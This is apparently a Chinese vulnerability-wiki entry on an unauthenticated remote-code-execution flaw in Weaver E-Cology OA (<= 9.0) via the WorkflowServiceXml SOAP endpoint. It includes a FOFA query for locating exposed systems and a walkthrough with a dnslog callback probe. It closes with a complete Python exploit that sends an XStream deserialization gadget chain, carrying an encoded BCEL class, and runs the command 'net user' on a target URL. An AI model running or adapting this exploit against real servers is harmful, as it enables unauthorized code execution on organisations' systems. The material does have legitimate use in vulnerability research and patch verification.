# 泛微E-Cology WorkflowServiceXml RCE
## 漏洞描述
泛微E-cology OA系统的WorkflowServiceXml接口可被未授权访问,攻击者调用该接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程代码执行
## 漏洞影响
> [!NOTE]
>
> E-cology <= 9.0
## FOFA
> [!NOTE]
>
> app="泛微-协同办公OA"
## 漏洞复现
漏洞原理来源
https://www.anquanke.com/post/id/239865
根据流量可以得知路由为`/services%20/WorkflowServiceXml`,我随即查看了该OA的web.xml。
![](http://wikioss.peiqi.tech/vuln/fanwei-23.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
发现了相关类为`weaver.workflow.webservices.WorkflowServiceXml`、`weaver.workflow.webservices.WorkflowServiceImplXml`。
关于类的东西先放到一旁,毕竟路由是否真实存在、`%20`有什么意义才是重点。我开始验证路由的存在。这里我测试了两个版本。
![](http://wikioss.peiqi.tech/vuln/fanwei-24.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
![](http://wikioss.peiqi.tech/vuln/fanwei-25.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
带上`%20`试试
![](http://wikioss.peiqi.tech/vuln/fanwei-26.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
根据这个response可以看出这应该是一个soap xml注入,具体是XMLDecoder、XStream或者其他什么,还得看`weaver.workflow.webservices.WorkflowServiceXml`、`weaver.workflow.webservices.WorkflowServiceImplXml`.
首先,先看看`weaver.workflow.webservices.WorkflowServiceXml`
![](http://wikioss.peiqi.tech/vuln/fanwei-28.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
可以注意到这是一个接口类,其中一个方法`doCreateWorkflowRequest`比较可疑。
去`weaver.workflow.webservices.WorkflowServiceImplXml`看看这个方法的实现。
![](http://wikioss.peiqi.tech/vuln/fanwei-29.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
继续跟踪看看
![](http://wikioss.peiqi.tech/vuln/fanwei-30.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
这个xs咋看起来这么眼熟?看看xs是个啥,一般Java可能会定义在代码文件最上方。
![](http://wikioss.peiqi.tech/vuln/fanwei-31.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
原来xs是`XStream`的对象
既然决定了sink点,下一步肯定是POC的撰写了,先确定SOAP基本模板。
根据朋友给的流量可以确定基本SOAP消息体模板大致是这样的。
```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
```
![](http://wikioss.peiqi.tech/vuln/fanwei-32.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
验证成功。
接下来就是寻找gadget了。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。
```
<map>
<entry>
<url>http://1xsz12.dnslog.cn</url>
<string>http://1xsz12.dnslog.cn</string>
</entry>
</map>
```
组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。
![](http://wikioss.peiqi.tech/vuln/fanwei-33.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
随后dnslog成功收到请求。
![](http://wikioss.peiqi.tech/vuln/fanwei-34.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
## 漏洞POC
```python
#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from : http://wiki.peiqi.tech
import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print('+------------------------------------------')
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
print('+ \033[34mVersion: 泛微E-Cology WorkflowServiceXml RCE \033[0m')
print('+ \033[36m使用格式: python3 poc.py \033[0m')
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
print('+------------------------------------------')
def POC_1(target_url):
vuln_url = target_url + "/services%20/WorkflowServiceXml"
cmd = "net user"
headers = {
'User-Agent': 'Apache-HttpClient/4.1.1 (java 1.5)',
'SOAPAction': '""',
'Cmd': cmd,
"Content-Type": "text/xml;charset=UTF-8"
}
data = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest> <web:string>
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='javafx.collections.ObservableList$1'/>
    </default>
    <int>3</int>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
      <dataHandler>
        <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
          <contentType>text/plain</contentType>
          <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
              <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
                <names class='java.util.AbstractList$Itr'>
                  <cursor>0</cursor>
                  <lastRet>-1</lastRet>
                  <expectedModCount>0</expectedModCount>
                  <outer-class class='java.util.Arrays$ArrayList'>
                    <a class='string-array'>
                      <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85V$5bW$TW$U$fe$86$q$cc0$M$82A$84$a8$bd$d8V$N$u$89$d6$de$M$d6$8a$5c$ea$r$a05$U$x$da$ea0$ia$q$99$89$93$JP$7b$b1$ad$bd$df$ef$ad$bd$bc$f8$e2S$l$5c$ab$xj$5b$bb$da$3e$f6Gi$bf3$J$94$90$a8$ac$c5$999$fb$7c$fb$f6$ed$bdO$e6$df$5b$bf$fd$J$e01$fc$ac$a3$J$87t$a41$o$97Q$N$87u$i$c1s$g$8e$aa$c8$e8P1$a6$e2y$j$e38$s$91$_H$c9q$N$T$f2yB$c7I$bc$u$97$974$9cRqZ$83$a9$p$8aI$N$96$8a$v$N$v$VB$c7$ZL$cbeF$87$8d$b3$3a$ba0$ab$n$x$9f9$b98rq5$e4U$9c$d3$f1$Q$3c$V$F$F$8d$bbm$c7$f6$f7$u$I$c5$bb$c7$V$84$H$dc$v$a1$a05m$3bb$b4$98$9b$U$de$989$99$a5$q$9av$z3$3bnz$b6$dcW$84a$7f$c6$a6$8d$e6$f4$be$81$a1trh$ce$ce$f6$v$d0v$5b$d9$8a$cd$a8o$e5$L$ae5$x$7c$da$9b$j$c8$9a$e7$cf$xX$9d$3ek$ce$99$c9$ac$e9L$t$v$w$U$a8$T$9d$W$fe$40$d1$f3$84$e3$l$V$e7$8a$a2$e0$8f$uX$b7$M$e8$893Ya$f9$c9$R$e1$cf$b8S$d4XeU$c1e$80$ff$a3$PO$9e$r$98$u$e5$8c$82X$j3$c3$b6$c8J$x$9a$t$Ky$d7$v0$X$9d$n$i$f3l_xt$ad$cc$xh$x$eb$d9n$b2$y$ee$xc$f6$Ls$w$c0$84$ac$dcT$b5$db$8c$ef$d9$ce$b4tKR$da$cb$HE$df$ce$s3$96$e98$81$85$c8$9c$e9$ed$d8$a1$a0c$99$da$d0$82$r$f2$be$ed$3a$3co$c9$f8$a65$3bb$e6$D$86$d9$Y$w$7c$b6$85$8a$o$ab$ceR$b3$ce$y$l$p$c9$b8E$cf$S$c3$b6$yC$93d$3e$n$N$g$d8$84$cd$w$e6$M$ccc$c1$c0$cb$m$df$5b$y7$97$b0$cc$a25$e3$s$i$e1$cf$bb$del$ok$X$7c$e1$q$c6$ac$7cf$a9$3c$w$5e1$f0$w$5ec$85j$aa$c1$8eXQ4$D$af$e3$CIZI$3a$e35$f0$G$de4$f0$W$$$gx$h$X$a9$7bj$91$e6a$d3$o$7b$G$de$c1$bbL$c9$c0$7bx$df$c0$H$f8$909$y$d1$cf$daV$T$cf2$8d$X$b3c$MC7$f0$R$3e$$$83$cbu$a8$8a$a0$cc$3f$e3$afa$5e$c5$t$G$3e$c5g$G$3e$c7$X$w$be4$f0$V$be$96d$7d$a3$a0$e1d$bf$81o$f1$9d$81$efq$c9$c0$P$f8Q$BX$bf$3a$F2$f0$T6$d3$fdR$bb$x$e8$baS$8f$w$e8$bcC$dfU$c5$3c6$e31$R$W$be$d2$cf$8b$fb5$f1$ee$f4J$U$fb$a3C$96$c6u$7c$b1$e0$HeH$bbe$WbU$f0eGR$a7$ee$B$d3$c8$f2$r$90$u$d8$U$af$ed$e3$g$8b$7de$e6$X$f3$db$5bG$e7D$8dN$f7$dd$a6$b8$d1v$e6$dcY$b6$f0$aex$ed$f8$9e$a8$Vu$d7$hrMrRN$a3$bd$96$G9T$Ed$8ay$e1YeT$h$f7$83$82$hOLU$w$d2$7b$8f$fcW$5e$i$z$F$e1$f7$5b$96$u$U$ec$f2M$Y$9f$90$d7g$88$96$Vl$ae$93L$dd$c8$p$f3$b2$c1Y$a1z$de$c7$X$h9$90$k$z$3a$be$9d$ab$dcSK$9b$8e$aa$7c$xb$g$O$8b$Faq$f4$ef$91$d5$R$cf$95$v$f4Uy$aa$I9$86$f4t$c0$c9$X$7dj$K3$c7$86$5e$f4$c6$d1$5cv$40$f5$aex$dd$D$99$83Q$y$88A$91$b5s$e5Q$beKH$x$aeJu$c6$y$8c$b2$cf$83$9f$a6$J$e6$e4$E$9b$ea$c1X$bar$5b$f3$7c$f1$83$dbs$cc3$z$81$8dx$84$3f$a3$f2$af$81$d3$cck$91$eb$W$ee$92$7cr$c0$R$e9$b9$G$e5jp$i$e7$da$Y$I$9b$d0$cd$d5$u$D$d0$83$ad$7cj$d8$b6$a8$ac$dc$oN$a7$ec$9f$ebh$u$n$U$N$97$Q9$d4$Tm$M$dd$84Z$82$96$de$aa$f0$ad$a9$E$7dd$5b$J$cd$r$Y$d1$96$SV$8d$f6$S$d7$daKQ$5b$w$i$e3$7bstuE$p$V$89Eb$e1$8a$d2_$88$a6$gc$8d$d1$f6$S$d6H$fdhG$98$a8$e3$a1$e8$da$8c$84$aa1u$h$FM$Utf$C$f8$da$94$f6$3b$ba$8e_G$y$a6$95$b0$ae$84$f5$d7$b0$nz_$J$f7$a7$9ab$8d1$da$7c$e0$S$9a$e5$f3$c1$x$88D7$d2$ee$Vh$87zJx$f8j$90$e3$N$fc$c1$_$81P$c0$c00V$H$b9$hhA$tV$91$c0V$q$d0$86$9d$94$a7$f8$b1q$Q$ed$98$c0$g$98$e8$40$Rkymw$e22$3f$vn$60$3d$ad$c4p$T$eb$f076$E$M$e6$d1L$3b$bf$a0$97$W$Q$e0$92$d8N$8f$hy$c7$ee$c0$a3$e4$3c$c1$9b$7c$t$3f$8bB$b4$7d$B$8fS$W$a6$H$XO$Q$X$a1$9fSx$SO$91$ed$o$G$b1$8b2$95$fe$b6$T$db$c7z$5c$a6$c5$ddx$9a$d5$baI$ad$3dx$86$3e$f6$f2$ff4$c2$b7$f1$xt$V$fd$w$f6$a9$YP1$Y$ac$7c$l$K$d6a$V$cfB$e1$ee6$83$b9$X$ae$n$d8$N$dff$3c$90J$fb$c3T$3a$Qt$cc$c1$ff$A$T$b5l$7e$d7$J$A$A
</string>
                    </a>
                  </outer-class>
                </names>
                <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
                  <parent class='sun.misc.Launcher$ExtClassLoader'>
                  </parent>
                  <package2certs class='hashtable'/>
                  <classes defined-in='java.lang.ClassLoader'/>
                  <defaultDomain>
                    <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                    <principals/>
                    <hasAllPerm>false</hasAllPerm>
                    <staticPermissions>false</staticPermissions>
                    <key>
                    </key>
                  </defaultDomain>
<domains class="java.util.Collections$SynchronizedSet" serialization="custom">
        <java.util.Collections_-SynchronizedCollection>
          <default>
            <c class="set"></c>
            <mutex class="java.util.Collections$SynchronizedSet" reference="../../.."/>
          </default>
        </java.util.Collections_-SynchronizedCollection>
      </domains>                  <packages/>
                  <nativeLibraries/>
                  <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
                  <defaultAssertionStatus>false</defaultAssertionStatus>
                  <classes/>
                  <ignored__packages>
                    <string>java.</string>
                    <string>javax.</string>
                    <string>sun.</string>
                  </ignored__packages>
                  <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                    <__path>
                      <paths/>
                      <class__path>.</class__path>
                    </__path>
                    <__loadedClasses/>
                  </repository>
                  <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
                </processorCL>
              </iterator>
              <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
              <buf></buf>
              <pos>0</pos>
              <mark>0</mark>
              <count>0</count>
            </in>
          </is>
          <consumed>false</consumed>
        </dataSource>
        <transferFlavors/>
      </dataHandler>
      <dataLen>0</dataLen>
    </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
    <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
  </java.util.PriorityQueue>
</java.util.PriorityQueue></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>'''.format(cmd=cmd)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
if "VulTest" in response.text and response.status_code == 500:
print("\033[36m[o] 存在漏洞 \n[o] 响应为:\n{} \033[0m".format(response.text))
except Exception as e:
print("\033[31m[x] 请求失败:{} \033[0m".format(e))
sys.exit(0)
if __name__ == '__main__':
title()
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
POC_1(target_url)
```